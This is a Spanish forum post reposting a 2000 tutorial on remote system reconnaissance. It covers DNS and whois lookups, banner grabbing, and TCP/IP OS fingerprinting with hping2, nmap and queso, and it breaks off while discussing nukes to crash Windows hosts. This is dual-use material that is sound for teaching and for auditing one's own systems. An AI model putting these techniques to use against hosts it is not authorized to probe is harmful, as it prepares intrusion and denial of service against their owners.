Análisis Remoto de Sistemas por Honoriak

Iniciado por soplo, 6 Julio 2004, 02:43 AM

0 Miembros y 1 Visitante están viendo este tema.

soplo

Hola

Este texto es de manual para aquellos interesados en temas de seguridad y hacking.

Lo pasteo aquí por temor a que cambie algún enlace y se pierda este texto

Extraído de http://www.sindominio.net/hmleioa01/material/analisis.txt
----------------------------------------------------------------------
Comienzo de pasteo
----------------------------------------------------------------------

/* honoriak  <EGC@argen.net>   <honoriak@mail.ru>   2000.12.26  Ante
  cualquier duda,  critica, pregunta, etc.  no dudes  en escribirme a
  una de las direcciones de e-mail que acabas de ver. Las fuentes que
  me ayudaron en  la elaboracion de este reducido  'paper' figuran al
  final de este  documento. Este paper ha sido  elaborado con emacs y
  joe. */

-----------------[ Analisis remoto de sistemas
      
--------------------------[ honoriak <honoriak@mail.ru> de HeliSec

      [ sección de I+D de networking-center.org ]
           
            [ Version Final ]

  Indice
  ======

  1. Introduccion:

   -  Localizacion.

   -  NS de la maquina.

   -  Informacion del registro del dominio.

  2. Analisis:

   - Sistema operativo:

      Analisis sin conocimiento de la pila TCP/IP.        
      
      Analisis basado en la pila TCP/IP.

      Fingerprinting pasivo

   - Servicios:    

      Software  de escaneo  de  puertos y  vulnerabilidades:
      panorama actual.

      Tecnicas usadas en el escaneo de puertos.

   - Relacion de principales servicios con puertos. Daemons.

   - CGIs

  3. Bibliografia y agradecimientos


           |---------------------------------------|


  1. Introduccion
     ============

   Localizacion:
   ~~~~~~~~~~~~~

   En este  manual se tratara  unicamente el caso de  un servidor
con una ip  fija y un dominio/s asociado, ya que  creo que el analisis
de sistemas  se aplica a este  tipo de configuraciones y  no me parece
logico  el  ocuparse de  ordenadores  de  usuarios  domesticos ya  que
normalmente no son los que necesitan este tipo de comprobaciones.

   Lo unico a resaltar es que las IPs de las maquinas que vamos a
analizar no pueden estar en ningun caso entre:
   
    ============================================
    |   Clase    Networks                   |
    |  A       de 10.0.0.0 a 10.255.255.255    |
    |   B       de 172.16.0.0 a 172.31.0.0      |
    |  C       de 192.168.0.0 a 192.168.255.0  |
    ============================================

   Ya  que estas  son de  uso  privado (para  LANs, intranets)  y
estamos tratando el caso de maquinas conectadas a internet. La version
del Internet  Protocol utilizada mayormente  en la actualidad es  la 4
pero es  cierto que  los esfuerzos porque  este sea reemplazado  en un
futuro no muy lejano por IPv6 es notable y en este cambiara el esquema
de direcciones y las direcciones seran mas largas.

   Dos  herramientas  de uso  muy  comun  entre  los usuarios  de
cualquier sistema  operativo serio son  ping y traceroute.   Me parece
que es  obvio su uso y sino,  siempre puedes acudir al  man para saber
todas sus  opciones de sintaxis. La  ultima de ellas,  muchas veces es
infravalorada  en un analisis  y realmente  puede dar  una idea  de la
situacion fisica del servidor  y maquinas cercanas a este. Actualmente
hay  bastantes  frontends  y  utilidades basadas  en  traceroute  para
x-windows e  incluso alguna de ellas  representa en un  mapa el camino
que  sigue  un  paquete  desde  nuestro sistema  hasta  la  maquina  a
analizar.

   Mas  adelante, comentaré  el  uso de  traceroute para  conocer
mejor el tipo de firewall que protege a una máquina.
   

   NS de la maquina
   ~~~~~~~~~~~~~~~~

   Otra  herramienta muy  util  en el  analisis  es el  nslookup,
gracias a ella  podremos saber el servidor de  nombres (NS) que ofrece
el dominio a nuestro servidor, es decir, el NS que hace que w.x.y.z sea
dddd.com. Para  obtener esta informacion,  haremos uso de  nuestro DNS
(es decir, el servidor de nombres que nos ofrece nuestro ISP). Asi por
ejemplo, suponiendo  que mi NS es ns1.worldonline.es  y queremos saber
cual es el NS de insflug.org, se actuaria de la siguiente forma:

$ nslookup insflug.org
Server:  ns1.worldonline.es
Address:  212.7.33.3

Name:    insflug.org
Address:  209.197.122.174

$ nslookup
Default Server:  ns1.worldonline.es
Address:  212.7.33.3

> set q=ns
> insflug.org
Server:  ns1.worldonline.es
Address:  212.7.33.3

Non-authoritative answer:
insflug.org   nameserver = NS0.NS0.COM
insflug.org   nameserver = NS84.PAIR.COM

Authoritative answers can be found from:
NS0.NS0.COM   internet address = 209.197.64.1
NS84.PAIR.COM   internet address = 209.68.1.177

   Como  puedes observar,  hemos obtenido  los NS  tanto primario
como   secundario   que  hace   que   insflug.org   este  asociado   a
209.197.122.174 siendo: NS0.NS0.COM  y NS84.PAIR.COM. Esta informacion
nos puede ser  de gran utilidad para cierto tipo de  cosas.  Lo que si
que puede ser de cierta utilidad es  saber que en los NS hay unas zone
files  en  las que  se  encuentra la  informacion  sobre  el dominio  a
analizar, de esta forma encontrariamos

         zone "insflug.org"{
         type master;
         file "insflug.org.zone";
    };

   en el fichero en el que se encontrase la informacion sobre las
secciones  de zona (algunas  veces /var/named/),  siendo la  zone file
para insflug.org /var/named/insflug.org.zone,  en el supuesto de estar
en /var/named/.  Alli encontrariamos

   @                 IN     NS     NS0.NS0.COM.
   www               IN     A      209.197.122.174
   ftp               IN     CNAME   www
         .....

   CNAME significa canonical name  y quiere decir que en realidad
la  ip  a   la  que  se  refiere  ftp.insflug.org   es  la  misma  que
www.insflug.org y que  en este caso es la  misma que insflug.org, como
podemos comprobar haciendo:

$ nslookup
Default Server:  ns1.worldonline.es
Address:  212.7.33.3

> set q=ns
> www.insflug.org
Server:  ns1.worldonline.es
Address:  212.7.33.3

Non-authoritative answer:
www.insflug.org   canonical name = insflug.org
      ...

> ftp.insflug.org
Server:  ns1.worldonline.es
Address:  212.7.33.3

ftp.insflug.org   canonical name = insflug.org
      ...

   De  esta  forma,  podremos  saber  si  los  demonios  de  ftp,
www...  de un dominio  se encuentran  en una  misma maquina  o maquinas
diferentes; muy util para tener una vision global del host a estudiar,
ya que  lo que en  principio se podria  pensar que era un  servidor en
particular  son  varios.  Ademas,  www.insflug.org  por ejemplo  puede
estar asociado a varias IPs y viceversa.

   Pese a  que para saber el  servidor de nombres  del servidor a
estudiar hemos utilizado  nslookup, que se supone que  es el metodo en
el cual  utilizamos un  poco "nuestros propios  medios", estos  NSs se
podrian saber haciendo uso del comando  que se utiliza en lo que viene
a continuacion: whois.


   Informacion del registro del dominio
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   Para  obtener informacion  sobre  el registro  de un  dominio,
entiendase  por dominio  ddd.xxx  y no  pr.ddd.xxx pr2.ddd.xxx...  que
serian considerados subdominios del primero,  se puede hacer uso de la
herramienta ya implementada  en la mayoria de los  unix whois. Asi, de
esta forma:

$ whois insflug.org
[whois.internic.net]

Whois Server Version 1.3

Domain names in the .com, .net, and .org domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

  Domain Name: INSFLUG.ORG
  Registrar: NETWORK SOLUTIONS, INC.
  Whois Server: whois.networksolutions.com
  Referral URL: www.networksolutions.com
  Name Server: NS0.NS0.COM
  Name Server: NS84.PAIR.COM
  Updated Date: 24-jun-2000


>>> Last update of whois database: Mon, 25 Dec 2000 11:16:57 EST <<<

The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and
Registrars.

   Puedes observar como se han obtenido tambien los servidores de
nombres que  contienen la entrada  insflug.org (por esto  lo comentado
anteriormente).  Pero, en realidad, esto la mayoria de las veces no es
de mucha utilidad ya que  actualmente los registros de dominios no son
directos y en realidad no figura  el nombre del que lo quiso registrar
sino de  la empresa intermediaria  que hizo efectivo el  registro.  Lo
que si que nos proporciona una informacion mucho mas completa es hacer
un whois  al Whois Server que  nos ha proporcionado  este primer whois
insflug.org que es whois.networksolutions.com, asi de esta forma:

$ whois insflug.org@whois.networksolutions.com
[whois.networksolutions.com]
The Data in  Network Solutions' WHOIS database is  provided by Network
Solutions for information purposes, and to assist persons in obtaining
information  about or related  to a  domain name  registration record.
Network Solutions  does not guarantee  its accuracy.  By  submitting a
WHOIS query,  you agree that  you will use  this Data only  for lawful
purposes and that,  under no circumstances will you  use this Data to:
(1) allow,  enable,  or otherwise  support  the  transmission of  mass
unsolicited,  commercial  advertising   or  solicitations  via  e-mail
(spam);  or (2)  enable high  volume, automated,  electronic processes
that apply  to Network Solutions (or its  systems).  Network Solutions
reserves the right  to modify these terms at  any time.  By submitting
this query, you agree to abide by this policy.

Registrant:
Impatient & 'Novatous' Spanish FidoNet Linux Users Group (INSFLUG-DOM)
  Avda. Pablo VI, 11 - 4C
  Dos Hermanas, Sevilla 41700
  ES

  Domain Name: INSFLUG.ORG

  Administrative Contact, Billing Contact:
     Montilla, Francisco J  (FJM43)  pacopepe@INSFLUG.ORG
     Impatient & 'Novatous' Spanish FidoNet Linux Users Group
     Avda. Pablo VI, 11 - 4C
     Dos Hermanas, Sevilla 41700
     ES
     +34 955679066 (FAX) +34 955679066
  Technical Contact:
     Administrator, Domain  (DA550)  domain@PAIR.COM
     pair Networks, Inc
     2403 Sidney St, Suite 510
     Pittsburgh, PA 15203
     +1 412 681 6932 (FAX) +1 412 381 9997

  Record last updated on 25-Jul-2000.
  Record expires on 24-Jun-2001.
  Record created on 24-Jun-1998.
  Database last updated on 25-Dec-2000 20:18:04 EST.

  Domain servers in listed order:

  NS84.PAIR.COM      209.68.1.177
  NS0.NS0.COM         209.197.64.1

   Vemos pues, una informacion mucho mas completa =) Para obtener
   informacion sobre dominios que  no sean .com, .net, .org, .edu
   tendremos que saber el servidor que nos permite hacer un whois
   de  dicho dominio,  ya que  con el  whois.internic.net  no nos
   permitira esa busqueda,

$ whois ctv.es
[whois.internic.net]

Whois Server Version 1.3

Domain names in the .com, .net, and .org domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

No match for "CTV.ES".

>>> Last update of whois database: Mon, 25 Dec 2000 11:16:57 EST <<<

The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and
Registrars.


  2. Analisis
     ========

   
   2.1 Sistema operativo
   ~~~~~~~~~~~~~~~~~~~~~
   
      I. Analisis sin conocimientos de la pila TCP/IP      
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   
   De  paquete,  algunos  sistemas operativos  (quizas  versiones
antiguas),  tenian  o  incluso  tienen "por  costumbre"  darnos  dicha
informacion   (so  y  version)   al  telnetear   al  servidor   y  los
administradores no se preocupan de modificarlo. Asi que siempre puedes
probar haber si hay suerte y por ejemplo te encuentras con:

$ telnet jeropa.com
Trying 64.60.1.66...
Connected to jeropa.com.
Escape character is '^]'.

Cobalt Linux release 4.0 (Fargo)
Kernel 2.0.34C53_SK on a mips

login:
      ...

   Lo  que  es  cierto,  es  que cualquier  sysadmin  serio  debe
preocuparse  de  cambiar esto,  ya  que  tampoco  hay que  dar  tantas
facilidades.  Pero, en la actualidad si que es cierto que cada vez son
mas los  sysadmins que cambian  esto e incluso  ponen un so  o version
falsa. Asi que esta tampoco va a ser una muy buena solucion para saber
el sistema operativo  de la maquina que tratamos.  (El escaner ISS, de
pago, utiliza esta "fiable" tecnica,  asi que te recomiendo usar queso
o nmap).

   Aun asi, podemos seguir  obteniendo informacion sobre el SO de
la  maquina a  estudiar de  forma  mas o  menos parecida  ya que,  por
ejemplo, si tiene operativo www, ftp o snmp, a lo mejor se puede hacer
una peticion  al servidor web,  ejecutar SYST en  una sesion de  FTP o
simplemente ver la version del cliente  de FTP o usar snmpwalk (de las
utilidades CMU SNMP) para conseguir cierta informacion respectivamente
y saber en algunos casos el SO; de esta forma, por ejemplo:

$ telnet www.microsoft.com 80
Trying 207.46.230.229...
Connected to www.microsoft.akadns.net.
Escape character is '^]'.
probando?
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Wed, 27 Dec 2000 00:03:18 GMT
               ...

   Te suena de  algo lo de IIS/5.0? Pues ya  sabes hablamos de un
win*.

 __

$ telnet ftp.ciudadfutura.com 21
Trying 216.35.70.14...
Connected to ftp.ciudadfutura.com.
Escape character is '^]'.
220 Serv-U FTP-Server v2.5e for WinSock ready...
         ...

   Y  por  tanto  si  revisamos las  caracteristicas  del  Serv-U
   FTP-Server,
      
   | "FTP Serv-U from is a full-featured
   | FTP server that allows you to turn almost any
   | MS  Windows (9x, NT, 2000) computer into an
   | Internet FTP Server."

   nos damos cuenta de que estamos hablando de una maquina win*.

      
Callar es asentir ¡No te dejes llevar!

soplo

-----------------------------------------------------
Continuación
-----------------------------------------------------

      II Analisis basado en la pila TCP/IP
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   Antes de pasar a enumerar  los programas que han hecho posible
el reconocimiento del sistema operativo  de un host de forma remota me
parece logico  explicar, a grandes rasgos, cual  es su funcionamiento,
sin entrar de momento en particularidades.
   
   Dichos  programas  basan  su  funcionamiento en  analizar  las
diferentes  respuestas  que ofrecen  distintos  sistemas ante  ciertos
envios  (he aqui  las singularidades  y la  variedad de  metodos). Por
tanto,  dichas respuestas,  que son  comunmente conocidas  como TCP/IP
fingerprints, son las que  permiten distinguir un sistema operativo de
otro.  Muchas veces, recurren  dichos programas  a distintos  tipos de
envios ya que, en muchas  ocasiones, las diferencias en la pila TCP/IP
de un  sistema operativo  a otro  no son muy  marcadas y  ante ciertos
envios actuan de igual forma,  diferenciandose, a veces, solo en uno o
incluso no habiendo  diferencia (como en el caso  de Windows 95/98/NT,
en los que increiblemente no se observa un comportamiento diferente en
sus  pilas TCP/IP;  unicamente probando  nukes contra  dichos  hosts y
viendo si se caen o no, para  asi distinguir por ejemplo entre un 95 y
un 98 (ej. WinNuke)).
   
   Entre los programas disponibles  que utilizan dicha tecnica de
fingerprinting destacan:
   
   -spoofer para IRC sirc (Johan)
   -checkos (shok)
   -nmap (fyodor)
   -nsat (mixter)
   -p0f (Michal Zalewski)
   -SS (Su1d)
   -queso (savage)

   Ya entrando mas a fondo  en el funcionamiento a mas bajo nivel
de dichos programas encontramos  cierta diferencia entre ellos, ya que
mientras unos  usan un fichero externo con  fingerprints de diferentes
sistemas  tipo, como  el  queso,  otros incluyen  en  el codigo  dicha
comparacion, como checkos por ejemplo.

   En checkos encontramos:
         
         ...

   if ((tcp.hrc & CF_SYN) && (tcp.hrc & CF_FIN)) {
          type=OS_LINUX;
          done=1;
        }
         ...
   
   if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
          if (flags & OSD_WIN95WAIT) {
            done=1;
            type=OS_WIN95;
          }


   En ss encontramos:
            
            /*  fragmento  codigo de  ss  de Remote  OS
            Detection  via   TCP/IP  Fingerprinting  de
            Fyodor */

         ...

   if ((flagsfour & TH_RST) && (flagsfour & TH_ACK) && (winfour == 0) &&
         (flagsthree & TH_ACK))
             reportos(argv[2],argv[3],"Livingston Portmaster ComOS");

         ...

   Mientras que en queso  encontramos un fichero de configuracion
en el que se distingue por ejemplo:

                        
   $ cat /etc/queso.conf
   ...
   * AS/400 OS/400 V4R2 (by rodneybrown@pmsc.com)
   0 1 1 1 SA
   1 0 1 0 R
   2 0 1 0 RA
   3 0 1 0 R
   4 1 1 1 SA
   5 0 1 0 RA
   6 1 1 1 SA
   ...

   Se observa, pues, que savage ha implementado de forma bastante
mas inteligente  dicha idea. Este  metodo ha sido heredado  por fyodor
para su nmap, y por ejemplo, en ciertas versiones de nmap encontramos:

   $ cat /usr/local/lib/nmap/nmap-os-fingerprints
   ...
   # Thanks to Juan Cespedes <cespedes@lander.es>
   FingerPrint  AGE Logic, Inc. IBM XStation
   TSeq(Class=64K)
   T1(DF=N%W=2000%ACK=S++%Flags=AS%Ops=M)
   T2(Resp=N)
   T3(Resp=Y%DF=N%W=2000%ACK=O%Flags=A%Ops=)
   T4(DF=N%W=2000%ACK=O%Flags=R%Ops=)
   T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=)
   T6(DF=N%W=0%ACK=O%Flags=R%Ops=)
   T7(DF=N%W=0%ACK=S%Flags=AR%Ops=)
   PU(DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=F%RIPCK=0%UCK=E%ULEN=134%DAT=E)
   ...

   Y tambien ha  sido usado por mixter en  su NSAT, destacando la
distincion que hace entre diferentes configuraciones de windows:

   $ cat /usr/local/bin/nsat.os
   ...
   Windows (Firewall-1)
   1 1 1 0 1 18
   1 0 1 0 0 4
   1 0 1 0 1 21
   1 0 1 0 1 21
   1 1 1 0 1 18
   1 0 1 0 1 28
   0 0 0 0 0 0
   ...

   En  lo  que  se  refiere  al  tipo  de  tecnicas  usadas  para
diferenciar  unos  OSs se  debe  puntualizar  que  en realidad,  estas
pruebas  se   combinan,  para   asi  conseguir  aislar   cada  sistema
operativo. Un muy buen programa para  hacer este tipo de pruebas es el
hping2  (antirez@invece.org, http://www.kyuzz.org/antirez/hping2.html)
o    sing   (aandres@mfom.es,   http://sourceforge.net/projects/sing/)
combinandolo con el analisis mediante tcpdump o ethereal (un magnifico
frontend), ya que  aunque puedes realizar tu propio  codigo (en C, por
ejemplo)  esta claro  que  esto conlleva  unos  conocimientos de  unix
network  programing  bastante  importantes,  asi  que  en  este  paper
analizare los  resultados obtenidos con  hping2 y no  presentare codes
especificos para cada prueba,  además utilizare mi propia maquina para
dichas pruebas  y no lo hare de  forma remota para asi  tener un mayor
control de  los resultados. Los  metodos que conozco son:  (si conoces
otras  tecnicas   utilizadas  para  esto  no  dudes   en  decirmelo  -
honoriak@mail.ru)


   - TCP ISN: Cuando el host a analizar responde a solicitudes de
conexion, genera  unos numeros  en la secuencia  inicial (ISN)  que no
siempre  se producen  de la  misma  forma; esto,  es aprovechado  para
distinguir unos  sistemas de otros.  Estos ISNs  pueden ser constantes
(hubs de 3com, etc.), 64K (UNIX antiguos), aleatorios (linux >2.0, AIX
modernos,  OpenVMS), incremento  en funcion  del tiempo  (windows), de
incremento   aleatorio   (freebsd,   digital   unix,   cray,   solaris
modernos...)  siendo estos ultimos  incrementos basados  en diferentes
cosas como por ejemplo maximos comunes divisores.
         Si enviamos varios paquetes, por ejemplo, de la forma:

    $ hping2 localhost -p 80
    default routing not present
    HPING localhost (lo 127.0.0.1): NO FLAGS are set, 40 headers + 0 data
    bytes
    40 bytes from 127.0.0.1: flags=RA seq=0 ttl=255 id=5 win=0 rtt=0.4 ms
    40 bytes from 127.0.0.1: flags=RA seq=1 ttl=255 id=6 win=0 rtt=24.9 ms
   
    --- localhost hping statistic ---
    2 packets tramitted, 2 packets received, 0% packet loss
    round-trip min/avg/max = 0.4/12.6/24.9 ms

    Y ahora analizamos dichos paquetes por ejemplo con el tcpdump
(mas claro  son los resultados  que ofrece ethereal, pero  para copiar
aqui es mas comoda la salida del tcpdump; solo copiare las respuestas,
no las peticiones)

   ...   
   14:12:47.774380   lo < honorato.2485 > honorato.www: . 7200421:72
   00421(0) win 512
   ...   
   14:12:48.771779   lo < honorato.2486 > honorato.www: . 2002659674:200
   2659674(0) win 512
   ...

   Se observa, pues, una variacion  en la seq inicial del paquete
TCP, en  el primer  paquete vemos 7200421  y en el  segundo 2002659674
siendo en  este caso completamente aleatorios ya  que estoy trabajando
en:

   $  uname -a 
   Linux  honorato.com  2.2.16 #14  SMP  Sat Jun  10 15:51:08 CEST 2000
   i86 unknown
   
   - Opciones  de TCP:  esta tecnica  se basa  en  el diferenciar
sistemas operativos segun  el numero de opciones TCP  que admiten, los
valores  de dichas  opciones y  el orden  en que  las opciones  se nos
presentan.  Esto, que yo sepa, solo es utilizado por Nmap (si sabes de
otros programas que lo usen, no dudes en decirmelo y modificare esto).

        Fyodor en su nmap hace prueba las siguientes opciones:

Window Scale=10; NOP; Max Segment Size = 265; Timestamp; End of Ops;

        El hping2 no implementa esta posibilidad (o eso creo) asi que
no lo he llevado a la practica. Siempre puedes analizar el codigo del
nmap que realiza esto y heredar dicha tecnica.


   - FIN: Se  basa en  el envio  a un puerto  abierto del  host a
estudio de  un paquete  FIN o cualquiera  que no  tenga un flag  ACK o
SYN. Segun el RFC793 el host no tendria que responder pero algunos OSs
responden con un RESET como Windows, HP/UX, IRIX, MVS, BSDI, CISCO.

   Para hacer una prueba practica  usare el puerto 80, con apache
arrancado:

   $ /usr/bin/httpd
   $ hping2 localhost -p 80 -F
   default routing not present
   HPING localhost (lo 127.0.0.1): F set, 40 headers + 0 data bytes

   --- localhost hping statistic ---
   4 packets tramitted, 0 packets received, 100% packet loss
   round-trip min/avg/max = 0.0/0.0/0.0 ms

   Se observa pues, como mi linux si que cumple el RFC793 y no responde a
        dichos paquetes.

   - ACK recibido:  El valor de ACK  que nos envia  el servidor a
analizar cuando  por ejemplo enviamos  un SYN|FIN|URG|PSH a  un puerto
abierto o un FIN|PSH|URG a  un puerto cerrado puede variar respecto al
numero de secuencia inicial que envia este.

   Para  probar,  inicialmente mandare  un  paquete  normal a  un
puerto cerrado, y se comprueba que el valor de ACK no cambia y despues
uno FIN|PSH|URG tambien a un puerto cerrado y se vera como cambia:

   $ killall httpd
   $ hping2 localhost -p 80
   ...

   y en la salida del tcpdump se ve
   
   15:59:37.442157   lo > honorato.1676 > honorato.www: . 1752870898:1752
   870898(0) win 512
   15:59:37.442157   lo < honorato.1676 > honorato.www: . 1752870898:1752
   870898(0) win 512
   15:59:37.442259   lo > honorato.www > honorato.1676: R 0:0(0) ack 1752
   870898 win 0

   vemos como 1752870898 se mantiene en el ack, pero en cambio:

   $ hping2 localhost -p 80 -S -F -U -P
   ...

   y en la salida del tcpdump ahora vemos

   16:00:48.480252   lo > honorato.2669 > honorato.www: SFP 1376153753:13
   76153753(0) win 512 urg 0
   16:00:48.480252   lo < honorato.2669 > honorato.www: SFP 1376153753:13
   76153753(0) win 512 urg 0
   16:00:48.480334   lo > honorato.www > honorato.2669: R 0:0(0) ack 1376
   153754 win 0

   Se ve pues como ha cambiado el valor de seq respecto al de ack
de 1376153753 a 1376153754. 
   De  la  misma forma,  haciendo  dicha  prueba  para un  puerto
abierto se puede ver que hay una variacion.  En estas pruebas he usado
linux, pero de un sistema a otro esa variacion puede ser diferente (lo
que permite diferenciarlos, claro esta).


   - Flag TCP  (64/128) en el  encabezado TCP de un  paquete SYN:
Haciendo  esto, por  lo que  yo he  probado/leido unicamente  el linux
2.0.35  mantiene dicha  flag en  la respuesta  y el  resto  cancela la
conexion.  Esto, de estudiarse  a fondo, puede servir para diferenciar
OSs.

   No he hecho una demostracion  practica de dicho metodo, ya que
en este momento no tengo  instalado el kernel 2.0.35, pero simplemente
se haria:  hping2 localhost -p 80  -S y se  analizarian los resultados
vertidos por el tcpdump.
   
   
   - ICMP:

   1) Esta  tecnica se basaria  en el control del  numero de
mensajes de destination  unreachable que envia un host  por ejemplo al
mandar  un  gran  numero de  paquetes  a  un  puerto UDP.   En  linux,
encontramos como limita dicha cantidad de mensajes, y por ejemplo:

   $ cat /usr/src/linux/net/ipv4/icmp.c
   ...
   *  4.3.2.8 (Rate Limiting)
   *   SHOULD be able to limit error message rate (OK)
   *   SHOULD allow setting of rate limits (OK, in the source)
   ...
               
        Pero, esta tecnica es de dificil implementacion, ya que habria
que considerar la posibilidad de que los paquetes se perdiesen.

   $ hping2 localhost --udp -i u[intervalo_en_microsegundos]
   ...
   --- localhost hping statistic ---
   *** packets tramitted, * packets received, ***% packet loss
   round-trip min/avg/max = *.*/*.*/*.* ms

   Y se analizaria  si limita o no el numero  de paquetes de ICMP
Port Unreachable. Pero, no hago la  prueba con mi localhost ya que las
condiciones  son completamente  diferentes  a las  condiciones que  te
encontrarias en internet. Aun  asi, veo de dificil implementacion esta
tecnica por lo dicho anteriormente.

   2) Basandose en  los mensajes de error ICMP,  y centrandose en
los mensajes que se refieren a  que no se pudo alcanzar un puerto casi
todos los OSs mandan simplemente  el encabezado ip y ocho bytes; pero,
tanto solaris como linux mandan una respuesta un poco mas larga siendo
este ultimo  el que  responde con mayor  numero de bytes.  Esto, claro
esta, puede ser utilizado para distinguir unos OSs de otros.

        $ hping2 localhost --udp -p 21

   y  si  analizamos uno  de  los  paquetes  ICMP de  Destination
unreachable observamos:

   Header length: 20 bytes
   Protocol: ICMP (0x01)
   Data (28 bytes)
   Type: 3 (Destination unreachable)
   Code: 3 (Port unreachable)
   
   se observa  pues como en sistemas linux  ademas del encabezado
ip se retornan bastante mas de 8 bytes, 28 bytes.

        3) Fijandose nuevamente en los mensajes de error ICMP debido a
que no  se pudo  alcanzar un puerto,  se observa  que todos los  OSs a
excepcion de  linux usa como valor  de TOS (tipo de  servicio) 0, pero
linux en  cambio, usa 0xc0  siendo esto parte  del AFAIK, el  campo de
referencia, que no es usado.

   $ hping2 localhost --udp -p 21

   y en el tcpdump, por ejemplo, observamos la siguiente salida:

   16:27:57.052282   lo > honorato > honorato: icmp: honorato udp port fs
   p unreachable [tos 0xc0]
   16:27:57.052282   lo < honorato > honorato: icmp: honorato udp port fs
   p unreachable [tos 0xc0]

   siendo el tos  0xc0 como he expuesto anteriormente,  ya que se
trata de un linux, a diferencia de los demas sistemas operativos.
   
   4) Basandose en los encabezados  de los paquetes ICMP de error
vemos como diferentes OSs lo utilizan como 'scratch space'.  Es decir,
lo  modifican; y asi  por ejemplo  encontramos como  freebsd, openbsd,
ultrix... cambian el ID de la IP del mensaje original en su respuesta,
bsdi aumenta en  20 bytes la longitud total del campo  de IP... (y hay
mas diferencias, que estan por analizar, asi que ya sabes).

   En mi linux, por ejemplo, el un paquete udp al puerto 0 es:

0000  00 00 08 00 45 00 00 1c  a4 c8 00 00 40 11 d8 06   ....E... ....@...
0010  7f 00 00 01 7f 00 00 01  0a e5 00 00 00 08 f6 f6   ........ ........

        y su el paquete ICMP de Destination unreachable es:

0000  00 00 08 00 45 c0 00 38  22 de 00 00 ff 01 9a 24   ....E..8 "......$
0010  7f 00 00 01 7f 00 00 01  03 03 fb 18 00 00 00 00   ........ ........
0020  45 00 00 1c a4 c8 00 00  40 11 d8 06 7f 00 00 01   E....... @.......
0030  7f 00 00 01 0a e5 00 00  00 08 f6 f6               ........ ....     

        En linux, el campo de la  IP, no varia del paquete udp al icmp
de error  a diferencia de  otros SOs pero  pasa de tener id:  0xa4c8 a
tener id:  0x22de. Este metodo  no lo he  estudiado a fondo y  veo que
puede tener  bastantes particularidades.  Si quieres  tener una vision
un poco mas  completa del escaneo de puertos  mediante metodos basados
en  ICMP  puedes  leer  ICMP  usage  in  scanning  o  tambien  llamado
Understanding some  of the  ICMP Protocol's Hazards  de Ofir  Arkin de
Sys-security Group en http://www.sys-security.com.


   5) Esta   tecnica  solo  puede   ser  usada,   en  plataformas
unix/linux/bsd y no  en win* ya que win no responde  a las queries que
seran usadas,  que son de ICMP  tipo 13 o tambien  conocidas como ICMP
Timestamp Request.

   En el  caso del sistema operativo  linux, que es  el que poseo
podemos observar la siguiente prueba:

   $ sing -vv -tstamp 127.0.0.1 ...
   
   del que  se obtendra un  tiempo de respuesta de  timestamp que
puede ser utilizado para diferenciar unos OSs de otros.


        6) Esta tecnica se basa  en el funcinamiento especifico de los
routers.
     
        En particular,  se basa en  ICMP Router Solicitation  (ICMP de
tipo 10). Cada  router 'multicastea' cada cierto tiempo  un anuncio de
ruta (ICMP de tipo 9) desde cada una de sus interfaces de 'multicast',
y de esta forma anuncia la direccion IP del interfaz.

   Si vemos que el host remoto responde con ICMP de tipo 9 frente
a un ICMP de tipo 10,  entonces nos encontramos ante un router.  Pero,
los  routers  que  tengan   suprimida  esta  caracteristica  no  seran
detectados.

   Las  pruebas para este  metodo las  puedes realizar  tanto con
hping2 como con sing (antiguo  icmpush), pero el ultimo fue el primero
en implementarla, y asi encontramos:

   $ sing -rts 127.0.0.1
   ...
   $ hping2 -C 10 127.0.0.1
   ...         


   - Bit  no fragmentado:  esta tecnica  se basa  en  que ciertos
sistemas operativos  ponen un bit no  fragmentado de IP  en algunos de
los paquetes  que envian.  Pero lo que  es cierto  es que no  todos lo
hacen, y de  hacerlo no lo hacen  de la misma forma; lo  que puede ser
aprovechado para averiguar el OS.

   en mi  linux (del que  ya he copiado  un uname -a  antes, para
saber el kernel que uso):

   $ hping2 localhost
   ...
   
   al analizar uno  de los paquetes tcp mandados  con ethereal se
comprueba que:

   Flags: 0x04
          .1.. = Don't Fragment: Set
          ..0. = More fragments: Not set

   pero, tampoco he hecho un gran numero de pruebas para asegurar
que en  algun caso y con cierto  tipo de paquetes no  se adjunte dicho
bit.  Aun asi, hay OSs que nunca lo usan como SCO o OpenBSD.

   
   - La ventana inicial de TCP: se basa en la comprobacion de las
dimensiones de la  ventana de los paquetes que nos  devuelve el host a
estudiar. El  valor que toma es  casi siempre igual  para cada sistema
operativo, he incluso hay sistemas que se pueden identificar por medio
de este  metodo, ya que son los  unicos que le asignan  cierto valor a
dicha ventana (ej. AIX, 0x3F25).

   En  lo que  se refiere  a  sistemas linux,  freebsd o  solaris
tienden a  mantener el mismo tamaño  de ventana para  cada sesion.  En
cambio, cisco o Microsoft Windows/NT cambia constantemente.

        $ hping2 localhost
   ...
   
   y al analizar, por ejemplo dos de los paquetes con ethereal vemos:

   Window Size: 512 (0x0200)
   ...
   Window Size: 512 (0x0200)
     
   - Tratamiento de fragmentacion: Se basa en el hecho de que los
sitemas  operativos tratan de  diferente forman  los fragmentos  de IP
solapados;  mientras  algunos  mantienen  el material  inicial,  otros
sobreescriben  la  porciones  antiguas  con las  nuevas.   De  dificil
implementacion  puesto que  hay  sistemas operativos  que no  permiten
mandar fragmentos  de IP  (lease Solaris), pero  si que es  cierto que
tendria bastante utilidad. 
   
   No lo he analizado en la practica, ya que no encontre la forma
de hacerlo con  hping2 y el hacer  un codigo que lo haga  no me parece
materia para cubrir en este manual por tener bastante dificultad.


   - Synflood:  una  tecnica  que  no me  parece  aplicable,  por
razones bien marcadas.  Hay ciertos OSs que llega un momento en que no
aceptan nuevas conexiones si has mandado demasiados paquetes SYN y por
ejemplo algunos  sistemas operativos  solo admiten 8  paquetes. Linux,
evita esto por medio de las SYN cookies.


   - Nukes:  Como ya he  dicho anteriormente,  la pila  de Win95,
WinNT o  Win98 parece  identica. Para distinguir  entre una u  otra el
